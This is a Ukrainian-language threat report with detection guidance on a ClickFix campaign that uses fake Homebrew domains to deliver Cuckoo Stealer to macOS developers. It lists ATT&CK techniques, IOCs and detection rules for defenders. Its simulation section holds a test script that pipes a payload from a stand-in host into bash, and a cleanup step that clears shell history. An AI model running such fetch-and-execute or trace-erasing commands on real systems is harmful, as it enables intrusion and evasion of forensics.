Фейкові Homebrew Типосквати Використовуються для Доставки Cuckoo Stealer через ClickFix
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
У звіті описується кампанія, яка зловживає помилково написаними доменами Homebrew, щоб заманити розробників macOS виконувати шкідливі команди «install» за допомогою техніки ClickFix. Сформований однорядковий запит curl відправляє жертв у підконтрольну атакуючим інфраструктуру, доставляючи завантажувач для збирання облікових даних, а потім Cuckoo Stealer. Шкідливе програмне забезпечення зберігається через LaunchAgent, видаляє атрибути карантину і ексфільтрує облікові дані та дані гаманця через HTTPS. Виявлення слід зосередити на шаблонах команд curl і пов’язаній з ними інфраструктурі.
Розслідування
Дослідники простежили початкову принаду до homabrews.org, що розташовується на 5.255.123.244 в Нідерландах і розміщує кілька схожих доменів (включаючи raw.homabrews.org, який використовується для доставки). Завантажений скрипт запускає цикл dscl authonly для перевірки облікових даних macOS, потім отримує бінарний файл під назвою brew_agent. На другій стадії Cuckoo Stealer створює LaunchAgent plist, видаляє прапори карантину і спілкується з C2, використовуючи X25519 обмін ключами з XOR-зашифрованими навантаженнями. Мисливство за інфраструктурою виявило мережу щонайменше з шести доменів, що розділяють той же хостинг IP.
Пом’якшення
Навчіть розробників перевіряти URLs установки Homebrew і уникати копіювання та вставки ненадійних команд у Terminal. Увімкніть журналювання командного рядка і обмежте шаблони, де curl завантажує віддалені скрипти для негайного виконання, особливо такі, як «curl | sh». Захист кінцевих точок повинен попереджати про підозріле створення LaunchAgent і видалення атрибутів карантину. Мережевий захист повинен блокувати відомі шкідливі домени і позначати трафік до raw.homabrews.org та пов’язаних хостів.
Реагування
Коли виявляється підозріла команда curl, ізолюйте кінцеву точку, захопіть скрипт і двійковий brew_agent, зберіть plist LaunchAgent для аналізу. Скиньте збережені облікові дані і відкличте скомпрометовані токени, особливо для браузерів, Keychain та криптовалютних гаманців. Проведіть форензичний огляд прихованої директорії BrewUpdater, будь-яких створених ярликів і видаліть шкідливі файли. Оновіть виявлення з витягнутими IOC і стежте за повторним використанням тієї ж інфраструктури.
“graph TB %% Class definitions classDef technique fill:#e6f2ff %% Node definitions node_A[“<b>Technіque</b> – <b>T1659 Ін’єкція контенту</b><br/><b>Опис</b>: Атакуючий розміщує шкідливу веб-сторінку, яка імітує легітимний сайт, щоб забезпечити шкідливий контент, коли користувач відвідує її.”] class node_A technique node_B[“<b>Technіque</b> – <b>T1204.004 Виконання: Шкідливе Копіювання та Вставка</b><br/><b>Опис</b>: Жертва копіює створену команду з веб-сторінки і виконує її в терміналі.”] class node_B technique node_C[“<b>Technіque</b> – <b>T1059.004 Shell Unix</b><br/><b>Опис</b>: Використання Unix shell для завантаження і виконання першого скрипту.”] class node_C technique node_D[“<b>Technіque</b> – <b>T1555.001 Облікові дані з Парольних Сховищ: Keychain</b><br/><b>Опис</b>: Доступ до Keychain macOS для збору збережених облікових даних.”] class node_D technique node_E[“<b>Technіque</b> – <b>T1555.003 Облікові дані з Парольних Сховищ: Веб-браузери</b><br/><b>Опис</b>: Отримання збережених паролів і cookies з веб-браузерів.”] class node_E technique node_F[“<b>Technіque</b> – <b>T1539 Крадіжка Cookies Веб-сесії</b><br/><b>Опис</b>: Збір токенів активних сесій з браузерів та розширень.”] class node_F technique node_G[“<b>Technіque</b> – <b>T1614.001 Визначення Мови Системи</b><br/><b>Опис</b>: Запит змінної середовища LANG для визначення локалі системи та уникнення певних регіонів.”] class node_G technique node_H[“<b>Technіque</b> – <b>T1543.001 Agent запуску</b><br/><b>Опис</b>: Встановлення plist LaunchAgent рівня користувача для стійкості.”] class node_H technique node_I[“<b>Technіque</b> – <b>T1553.001 Перехід Gatekeeper</b><br/><b>Опис</b>: Видалення атрибуту карантину за допомогою xattr, щоб обійти Gatekeeper macOS.”] class node_I technique node_J[“<b>Technіque</b> – <b>T1027 Міжрядно зашифровані Файли або Інформація</b><br/><b>Опис</b>: XOR-зашифрувати рядки, навантаження і конфігурації, щоб приховати шкідливий контент.”] class node_J technique node_K[“<b>Technіque</b> – <b>T1113 Захоплення Екрана</b><br/><b>Опис</b>: Захоплення скріншотів безшумно за допомогою утиліти screencapture.”] class node_K technique node_L[“<b>Technіque</b> – <b>T1119 Автоматичний Збір</b><br/><b>Опис</b>: Рекурсивний збір криптогаманців, записок, документів і токенів месенджерів.”] class node_L technique node_M[“<b>Technіque</b> – <b>T1573 Зашифрований Канал</b><br/><b>Опис</b>: Виконання обміну ключами X25519 ECDH для створення зашифрованого каналу C2.”] class node_M technique node_N[“<b>Technіque</b> – <b>T1102.002 Веб-сервіс: Двостороннє Спілкування</b><br/><b>Опис</b>: Спілкування з сервером керування через HTTPS.”] class node_N technique node_O[“<b>Technіque</b> – <b>T1041 Ексфільтрація Через Канал C2</b><br/><b>Опис</b>: Передача викрадених даних через зашифрований канал.”] class node_O technique node_P[“<b>Technіque</b> – <b>T1529 Виключення/Перезавантаження Системи</b><br/><b>Опис</b>: Виконання команди перезавантаження за інструкціями атакуючого.”] class node_P technique node_Q[“<b>Technіque</b> – <b>T1653 Налаштування Енергоспоживання</b><br/><b>Опис</b>: Виклик перезавантаження системи для застосування змін або зриву реагування на інцидент.”] class node_Q technique node_R[“<b>Technіque</b> – <b>T1070.009 Видалення Стійкості</b><br/><b>Опис</b>: Самознищення шляхом видалення бінарних файлів і plist LaunchAgent.”] class node_R technique node_S[“<b>Technіque</b> – <b>T1564.014 Приховування Артефактів: Розширені Атрибути</b><br/><b>Опис</b>: Видалення атрибуту карантину, щоб уникнути попереджень Gatekeeper.”] class node_S technique %% Connections showing flow node_A u002du002d>|призводить до| node_B node_B u002du002d>|призводить до| node_C node_C u002du002d>|призводить до| node_D node_C u002du002d>|призводить до| node_E node_C u002du002d>|призводить до| node_F node_C u002du002d>|призводить до| node_G node_C u002du002d>|призводить до| node_H node_H u002du002d>|дозволяє| node_I node_I u002du002d>|дозволяє| node_J node_J u002du002d>|дозвольте| node_K node_K u002du002d>|дозвольте| node_L node_L u002du002d>|дозвольте| node_M node_M u002du002d>|дозвольте| node_N node_N u002du002d>|дозвольте| node_O node_O u002du002d>|дозвольте| node_P node_P u002du002d>|призводить до| node_Q node_Q u002du002d>|призводить до| node_R node_R u002du002d>|призводить до| node_S “
Потік атаки
Виявлення
Підозріла активність Keychain (через process_creation)
Перегляд
Підозріла зміна дозволів файлів у тимчасовій папці MacOS (через cmdline)
Перегляд
Підозрілі розташування та назви Plist на MacOS (через file_event)
Перегляд
Підозрілий доступ до збережених облікових даних браузера на MacOS (через process_creation)
Перегляд
Звук системного диска MacOS було вимкнено за допомогою Osascript (через cmdline)
Перегляд
Можливий збір за допомогою MacOS спроби виконання Screencapture (через cmdline)
Перегляд
Підозріла спроба виконання Curl [MacOS] (через cmdline)
Перегляд
IOCs (HashSha256) для виявлення: підробки Homebrew, використані для доставки Cuckoo Stealer через ClickFix
Перегляд
IOCs (SourceIP) для виявлення: підробки Homebrew, використані для доставки Cuckoo Stealer через ClickFix
Перегляд
IOCs (DestinationIP) для виявлення: підробки Homebrew, використані для доставки Cuckoo Stealer через ClickFix
Перегляд
Виявлення шкідливої команди установки macOS через ClickFix [Linux Process Creation]
Перегляд
Детекція домену та шкідливого IP у кампанії ClickFix [Network Indicators]
Перегляд
Виконання симуляції
Пререквізит: телеметрія та контрольний список базової перевірки повинні бути пройдені.
Обґрунтування: У цьому розділі детально описується точне виконання техніки атаки (TTP), призначене для запуску правила виявлення. Команди та розповіді ПОВИННІ безпосередньо відображати ідентифіковані TTP та націлюватися на генерацію точної телеметрії, яку очікує логіка виявлення. Абстрактні або не пов’язані приклади приведуть до помилкової діагностики.
-
Розповідь та команди атаки:
Атакуючий отримав шкідливий скрипт, закодований у PowerShell і розміщений на сервері C2. Щоб уникнути запису файлів на диск, атакуючий передає скрипт безпосередньо в оболонку Bash, використовуючиcurl -fsSLта-cпрапорець. Команда виконана інтерактивно з облікового запису скомпрометованого користувача, імітуючи легітимний «click-fix» інсталятор. Кроки такі:- Визначте URL-адресу шкідливого навантаження (наприклад,
https://evil.example.com/payload.sh). - Передайте завантаження у Bash, наказуючи Bash виконати вміст за допомогою
-c. - Завантаження виконує збір облікових даних, створює прихований файл, а потім видаляє тимчасовий скрипт (охоплюючи T1070.004).
- Визначте URL-адресу шкідливого навантаження (наприклад,
-
Сценарій регресійного тесту:
#!/usr/bin/env bash # ------------------------------------------------- # Сімулюйте шкідливий інсталятор macOS (стиль ClickFix) # ------------------------------------------------- set -euo pipefail MALICIOUS_URL="https://evil.example.com/payload.sh" # Передайте навантаження безпосередньо в Bash з -c curl -fsSL "$MALICIOUS_URL" | /bin/bash -c "$(cat)" # Припускається, що саме навантаження виконує свої шкідливі дії. # З метою тесту ми просто виведемо маркер. echo "Шкідливе навантаження виконано" -
Очисткі команди:
# Видаліть усі файли, які могли бути створені навантаженням rm -f /tmp/payload.sh # За бажанням, очистіть історію команд, щоб зменшити форензичні сліди history -c